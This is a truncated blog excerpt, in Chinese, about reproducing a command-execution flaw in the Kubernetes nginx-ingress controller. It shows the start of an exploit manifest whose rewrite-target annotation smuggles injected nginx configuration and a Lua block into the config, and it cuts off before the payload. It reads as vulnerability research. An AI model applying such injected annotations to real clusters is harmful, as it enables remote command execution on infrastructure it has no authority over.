Myluzh Blog

Strive to become a dream architect.

关于K8S nginx-ingress组件任意写入配置进行命令执行漏洞的复现与研究

2023-11-16 myluzh Kubernetes

0x01 开头 这里的ingress一定要是nginx,进行复现的环境k8s版本是1.25,ingress里面参数nginx.ingress.kubernetes.io/rewrite-target,可以任意插入,就尝试插入 lua 代码通过注解注入特殊字符尝试闭合nginx配置文件块从而实现插入任意配置实现命令执行。 0x02 复现 1、exp-ingress.yaml如下 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: ingress-exploit annotations: kubernetes.io/ingress.class: "nginx" nginx.ingress.kubernetes.io/rewrite-target: | execute-command/ last; } location execute-command/ { content_by_lua_block { local handle =...

阅读全文>>

标签: k8s nginx Ingress exp

评论(0) (216)